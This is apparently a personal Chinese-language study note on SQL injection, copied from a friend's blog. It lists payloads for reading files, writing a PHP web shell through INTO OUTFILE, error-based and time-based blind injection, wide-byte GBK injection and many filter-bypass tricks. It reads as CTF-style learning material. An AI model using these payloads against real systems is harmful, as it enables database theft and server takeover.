SQL补课

文章来自友链kirakiraayu
自己对着重新抄写学习了一遍

读写文件

  • 读文件使用load_file()函数
    select load_file("E:\\flag.txt");
  • 写文件使用into outfile
    select 1,'<?php eval($_POST[1]);?>',3 into outfile "/var/www/html/shell.php";

报错注入

  • xpath报错注入(extractvalue和updatexml)

updatexml()

extractvalue()

当这两个函数在执行时,如果出现xml文档路径错误就会产生报错

  • updatexml()函数
    • updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。

    • 作用:改变文档中符合条件的节点的值

    • 语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据

    • updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)

    • 例如: select * from test where ide = 1 and (updatexml(1,0x7e,3));由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。

常见绕过方式

示例语句:

SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata;
  • 过滤空格

可以使用括号包裹

SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata);

内联注释/**/可以代替空格

SELECT/**/GROUP_CONCAT(schema_name)/**/FROM/**/information_schema.schemata;

符号代替空格的方式(urlencode):

%0D Carriage Return,回车 代替空格
%0A Line Feed,换行 代替空格
%0C Form Feed,换页 代替空格
%09 Horizontal Tab,水平制表 代替空格
%0B Vertical Tab,垂直制表 代替空格
%A0 Non-breaking space (MySQL only),不间断空格 代替空格

使用反引号包裹变量名

SELECT(GROUP_CONCAT(schema_name))FROM`information_schema`.`schemata`;
  • 过滤引号

同时查询用户名和密码的情况下:

SELECT username FROM users WHERE id='1\' AND passwd=' UNION SELECT 1,2,3--' 

payload:

id=1\&passwd=UNION SELECT 1,2,3--

这样实际上第二个引号被转义掉了
那么密码的部分直接输入<联合注入语句>+<注释>即可

也可以十六进制编码:

SELECT 0x616263;  # abc

自动变成字符串

  • 过滤逗号

例如需要多列查询时:

select 1,2,3;

使用join:

SELECT * FROM (SELECT 1) AS a JOIN (SELECT 2) AS b JOIN (SELECT 2) AS c;

盲注常用的 substring() substr() mid() 中,
会用到逗号 可以使用 from for 代替:

SELECT SUBSTRING(DATABASE() FROM 1 FOR 1);
SELECT SUBSTR(DATABASE() FROM 1 FOR 1);
SELECT MID(DATABASE() FROM 1 FOR 1);

LIMIT 语法也会用到逗号,可以使用 offset 代替:

SELECT * FROM users LIMIT 1 OFFSET 0;

盲注中也可以使用模糊查询的方法来避免使用逗号:

SELECT DATABASE() LIKE 's%'
/*
等价于 SELECT ASCII(SUBSTRING(DATABASE(), 1, 1))=115;

s% 是一个模式字符串,其中 % 是通配符
% 表示任意数量的字符(包括零个字符)
s% 匹配所有以 s 开头的字符串,不论其后有多少字符
*/

LIKE 支持以下通配符:

  • %:匹配零个或多个字符。
  • _:匹配单个字符。

示例:

LIKE 'u%':匹配以 u 开头的所有字符串。
LIKE '%123':匹配以 123 结尾的所有字符串。
LIKE '_b%':匹配第二个字符是 b 的所有字符串(如 ab123、cb_test)。
LIKE 't__t':匹配 t 开头、接两个字符、然后是 t 的字符串(如 test)
  • 过滤比较符

过滤><
可以使用greatest()least()函数,
分别返回最大值和最小值。参数数量不定:

SELECT GREATEST(1, 2, 3, 4, 5);
SELECT LEAST(1, 2);

代替等号用like但有时会有不相等还返回1

rlike判断某个字段的值是否匹配指定的正则表达式,
它是regexp的同义词

regexp匹配字符串中是否包含符合正则规则的部分,
默认不区分大小写,
如果需要区分,可以使用binary:

SELECT 'abc' REGEXP 'A';       -- 返回 1
SELECT BINARY 'abc' REGEXP 'A'; -- 返回 0

SELECT BINARY DATABASE() REGEXP '^s';

函数
strcmp(str1, str2)
其返回值:

str1 = str2 -> 0
str1 < str2 -> -1
str1 > str2 -> 1

可以用in语法,
用于判断某个值是否在指定集合中的条件操作符:

-- 是则返回 1,否则返回 0
SELECT ASCII(SUBSTRING(DATABASE(), 1, 1)) IN (115);

between...and...进行范围查询,也可代替等号

-- 是 115 则返回 1,否则返回 0
SELECT ASCII(SUBSTRING(DATABASE(), 1, 1)) BETWEEN 115 AND 115;

<>表示不等于

-- 不等于 115 则返回 1,否则返回 0
SELECT ASCII(SUBSTRING(DATABASE(), 1, 1)) <> 115;
  • 过滤逻辑运算符

可以与英文单词互相替换:

and &&
or ||
not !
xor |
  • 过滤 if

逻辑中断: OR ||
只需一个表达式为真,整个表达式就为真。
那么很多时候程序只判断到前一个表达式为真时,
就忽略后一个表达式不执行,MySQL就具备这个特性。
可以利用它达到条件判断的效果:

-- 假设 database 为 "security"
-- 它不会执行 SLEEP,因为前一个表达式为真
SELECT ASCII(SUBSTRING(DATABASE(), 1, 1))=115 || SLEEP(1);

-- 它会执行 SLEEP,因为前一个表达式为假,程序还需要判断后一个表达式才能确定整个表达式的值
SELECT ASCII(SUBSTRING(DATABASE(), 1, 1))=114 || SLEEP(1);

使用locate(str1, str2)
比较输入的两个字符串,
第一个参数是参照物,第二个参数是参照对象,
该函数会判断参照对象中是否含有参照物,
若不含有,则返回 0;
若含有,则返回该参照物在参照对象中的位置:

case when...then...else...end
用法类似于三目运算符

CASE WHEN condition THEN result1 ELSE result2 END

-- 1
SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END;

-- 2
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END;

elt(N, str1, str2, ..., strN)
从一个字符串列表中返回对应位置的字符串
假设有一张表 my_table,
包含字段 id 和 category,
我们希望根据 category 的值返回对应字符串:

SELECT id, ELT(category, 'Electronics', 'Books', 'Clothing')
AS category_name
FROM my_table;

如果 category 的值为 1、2 或 3,
分别返回 Electronics、Books、Clothing

这个函数同样可以用在盲注中,
逻辑运算往往会返回 0 或 1,
也就是说可以让条件为真时,
执行elt函数第二个参数的表达式

-- 条件为真时会睡 3 秒
SELECT ELT((LENGTH(DATABASE())>3), SLEEP(3));
  • 过滤关键字

如果只是单纯去掉,那就双写绕过:

union -> uniunionon

如果过滤大小写,那就随意替换

union、UNION -> UnIoN

过滤关键字组合比如过滤了UNION SELECT
可以改用UNION ALL SELECT
或者结合内联注释构造: /*!UNION*/SELECT UNION/**/SELECT
或者插入其他可代替空格的符号

  • 过滤 information_schema

InnoDB 引擎
MySQL 5.6及以上
mysql.innodb_table_stats
代替information_schema.tables

mysql> select * from mysql.innodb_table_stats;
+---------------+-----------------+---------------------+--------+----------------------+--------------------------+
| database_name | table_name | last_update | n_rows | clustered_index_size | sum_of_other_index_sizes |
+---------------+-----------------+---------------------+--------+----------------------+--------------------------+
| bookmanage | book | 2024-11-08 16:57:53 | 100 | 1 | 0 |
| bookmanage | person | 2024-11-08 16:57:43 | 103 | 1 | 0 |
| bookmanage | record | 2024-11-08 16:58:04 | 100 | 1 | 0 |
| mysql | component | 2024-07-29 00:04:12 | 0 | 1 | 0 |
| sakila | actor | 2024-07-29 00:05:44 | 200 | 1 | 1 |
| sakila | address | 2024-07-29 00:04:52 | 603 | 6 | 1 |
| sakila | category | 2024-07-29 00:04:52 | 16 | 1 | 0 |
| sakila | city | 2024-07-29 00:04:52 | 600 | 3 | 1 |
| sakila | country | 2024-07-29 00:04:52 | 109 | 1 | 0 |
| sakila | customer | 2024-07-29 00:04:52 | 599 | 5 | 3 |
| sakila | film | 2024-07-29 00:04:52 | 1000 | 12 | 5 |
| sakila | film_actor | 2024-07-29 00:04:52 | 5462 | 12 | 5 |
| sakila | film_category | 2024-07-29 00:04:53 | 1000 | 4 | 1 |
| sakila | film_text | 2024-07-29 00:04:52 | 1000 | 11 | 1 |
| sakila | inventory | 2024-07-29 00:04:53 | 4581 | 11 | 12 |
| sakila | language | 2024-07-29 00:04:53 | 6 | 1 | 0 |
| sakila | payment | 2024-07-29 00:04:54 | 16500 | 97 | 39 |
| sakila | rental | 2024-07-29 00:05:04 | 15423 | 97 | 73 |
| sakila | staff | 2024-07-29 00:05:14 | 2 | 4 | 2 |
| sakila | store | 2024-07-29 00:05:24 | 2 | 1 | 2 |
| sys | sys_config | 2024-07-29 00:04:13 | 6 | 1 | 0 |
| world | city | 2024-07-29 00:05:34 | 4035 | 25 | 7 |
| world | country | 2024-07-29 00:05:54 | 239 | 7 | 0 |
| world | countrylanguage | 2024-07-29 00:06:04 | 984 | 6 | 4 |
+---------------+-----------------+---------------------+--------+----------------------+--------------------------+
24 rows in set (0.00 sec)
  • 过滤注释符

如果所有的注释符-- # /**/ /*!*/都被过滤,
无法忽略后面的语句,
可以改变闭合方式以避免语法错误:

SELECT id FROM users WHERE username='' AND passwd='' LIMIT 0,1;

发送payload:

username=admin'OR&passwd=OR'

得到

SELECT id FROM users WHERE username='admin'OR' AND passwd='OR'' LIMIT 0,1;

也可以闭合引号

  • 编码绕过

-- SELECT username FROM users;
SELECT char(117,115,101,114,110,97,109,101) FROM users;
SELECT 0x757365726e616d65 FROM users;
  • 花括号语法

SELECT {a DATABASE()};

花括号左边是注释(左边可以是任意字母,但不能是数字),
右边是查询语句的一部分

  • 函数替换

benchmark() => sleep()
hex() bin() => ascii()
concat() concat_ws() => group_concat()
substr() mid() left() right() elt() => substring()
char_length() => length()
  • 宽字节注入

在 GBK 编码下,部分字符可以与后续字符拼接形成新的合法字符。%df 在 GBK 编码中是一个未完成的双字节字符 Ÿ,如果数据库采用 GBK 编码,则 %df 可能会与后续的单字符拼接形成一个完整的双字节字符

有时候服务端会对输入中的特殊字符进行转义,在前面添加一个 \,它的 URL 编码是 %5c。如果输入一个 ',添加反斜杠编码后就是 %5c%27。此时在前面加上一个 %df -> %df%5c%27,如果数据库采用 GBK 编码,会认为 %df%5c 是一个宽字符,使得 %27 即 ' 并没有被转义,可以正常进行注入

RCE

https://medium.com/@0x3adly/from-sql-injection-to-rce-leveraging-vulnerability-for-maximum-impact-2fb356907eed